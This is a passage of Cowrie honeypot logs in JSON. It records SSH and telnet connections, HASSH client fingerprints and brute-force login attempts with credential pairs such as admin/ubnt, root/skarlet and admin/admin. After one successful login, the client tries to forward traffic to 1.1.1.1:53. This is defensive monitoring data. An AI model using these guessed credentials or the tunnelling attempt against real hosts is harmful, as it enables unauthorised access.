{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:10.592432Z","src_ip":"27.71.230.31","session":"406fc2f45176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55192,"dst_ip":"10.17.0.5","dst_port":22,"session":"f88efc30c2c7","protocol":"ssh","message":"New connection: 37.233.85.71:55192 (10.17.0.5:22) [session: f88efc30c2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:18.076696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:18.082083Z","src_ip":"37.233.85.71","session":"f88efc30c2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:18.195042Z","src_ip":"37.233.85.71","session":"f88efc30c2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skarlet","message":"login attempt [root/skarlet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:18.538111Z","src_ip":"37.233.85.71","session":"f88efc30c2c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:19.652812Z","src_ip":"37.233.85.71","session":"f88efc30c2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lhbimadmin","message":"login attempt [root/lhbimadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:31.944466Z","src_ip":"27.71.230.31","session":"406fc2f45176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.3","message":"Connection lost after 24.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:34.280093Z","src_ip":"27.71.230.31","session":"406fc2f45176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":19683,"dst_ip":"159.203.135.109","dst_port":22,"session":"b415e7f1bea9","protocol":"ssh","message":"New connection: 178.20.210.208:19683 (159.203.135.109:22) [session: b415e7f1bea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:57.875592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:57.879534Z","src_ip":"178.20.210.208","session":"b415e7f1bea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:57.991085Z","src_ip":"178.20.210.208","session":"b415e7f1bea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ubnt","message":"login attempt [admin/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:58.432280Z","src_ip":"178.20.210.208","session":"b415e7f1bea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:32:59.541190Z","src_ip":"178.20.210.208","session":"b415e7f1bea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13824,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a8eb5d977b","protocol":"ssh","message":"New connection: 87.251.64.176:13824 (10.17.0.5:22) [session: d8a8eb5d977b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:33:00.878850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:33:00.881770Z","src_ip":"87.251.64.176","session":"d8a8eb5d977b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:33:00.974509Z","src_ip":"87.251.64.176","session":"d8a8eb5d977b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:33:01.346468Z","src_ip":"87.251.64.176","session":"d8a8eb5d977b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:33:01.442656Z","session":"d8a8eb5d977b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:33:01.537761Z","src_ip":"87.251.64.176","session":"d8a8eb5d977b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:33:01.633662Z","src_ip":"87.251.64.176","session":"d8a8eb5d977b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":56958,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd8c9a3e5cc0","protocol":"telnet","message":"New connection: 102.37.220.188:56958 (159.203.135.109:23) [session: dd8c9a3e5cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:34:15.365252Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":51504,"dst_ip":"159.203.135.109","dst_port":22,"session":"0be0cc3f3aaa","protocol":"ssh","message":"New connection: 38.93.206.2:51504 (159.203.135.109:22) [session: 0be0cc3f3aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:34:27.798669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:34:27.803180Z","src_ip":"38.93.206.2","session":"0be0cc3f3aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:34:27.853282Z","src_ip":"38.93.206.2","session":"0be0cc3f3aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13021980","message":"login attempt [root/13021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:34:28.007683Z","src_ip":"38.93.206.2","session":"0be0cc3f3aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:34:29.061373Z","src_ip":"38.93.206.2","session":"0be0cc3f3aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.087064266204834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:34:46.452208Z","src_ip":"102.37.220.188","session":"dd8c9a3e5cc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.137.238.102","src_port":59786,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d61cbc8be0","protocol":"telnet","message":"New connection: 14.137.238.102:59786 (10.17.0.5:23) [session: d9d61cbc8be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:34:58.457180Z"}
{"eventid":"cowrie.session.closed","duration":30.65136742591858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:35:29.108431Z","src_ip":"14.137.238.102","session":"d9d61cbc8be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41858,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f67dbc4183d","protocol":"telnet","message":"New connection: 172.81.62.90:41858 (159.203.135.109:23) [session: 5f67dbc4183d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:35:34.283797Z"}
{"eventid":"cowrie.session.closed","duration":36.57675123214722,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:36:10.860447Z","src_ip":"172.81.62.90","session":"5f67dbc4183d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35936,"dst_ip":"159.203.135.109","dst_port":23,"session":"49b05aef1e74","protocol":"telnet","message":"New connection: 128.199.8.54:35936 (159.203.135.109:23) [session: 49b05aef1e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:36:37.254553Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":60660,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e11a6dead73","protocol":"ssh","message":"New connection: 103.149.28.157:60660 (159.203.135.109:22) [session: 9e11a6dead73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:36:49.768307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:36:49.771975Z","src_ip":"103.149.28.157","session":"9e11a6dead73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:36:50.028827Z","src_ip":"103.149.28.157","session":"9e11a6dead73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07091983","message":"login attempt [root/07091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:36:50.799846Z","src_ip":"103.149.28.157","session":"9e11a6dead73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:36:52.052956Z","src_ip":"103.149.28.157","session":"9e11a6dead73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.188","src_port":48910,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fcde82e4ae5","protocol":"telnet","message":"New connection: 20.65.194.188:48910 (10.17.0.5:23) [session: 4fcde82e4ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:04.868693Z"}
{"eventid":"cowrie.session.closed","duration":10.04806637763977,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:14.916631Z","src_ip":"20.65.194.188","session":"4fcde82e4ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.188","src_port":34758,"dst_ip":"10.17.0.5","dst_port":23,"session":"710da2e3e390","protocol":"telnet","message":"New connection: 20.65.194.188:34758 (10.17.0.5:23) [session: 710da2e3e390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:14.959831Z"}
{"eventid":"cowrie.session.closed","duration":0.05849933624267578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:15.018230Z","src_ip":"20.65.194.188","session":"710da2e3e390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.90656280517578,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:21.161034Z","src_ip":"128.199.8.54","session":"49b05aef1e74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46644,"dst_ip":"159.203.135.109","dst_port":23,"session":"f60491cc1fcf","protocol":"telnet","message":"New connection: 128.199.8.54:46644 (159.203.135.109:23) [session: f60491cc1fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:33.214145Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45666,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f67bdda1e4d","protocol":"ssh","message":"New connection: 87.251.64.176:45666 (10.17.0.5:22) [session: 1f67bdda1e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:47.964932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:37:47.968651Z","src_ip":"87.251.64.176","session":"1f67bdda1e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gc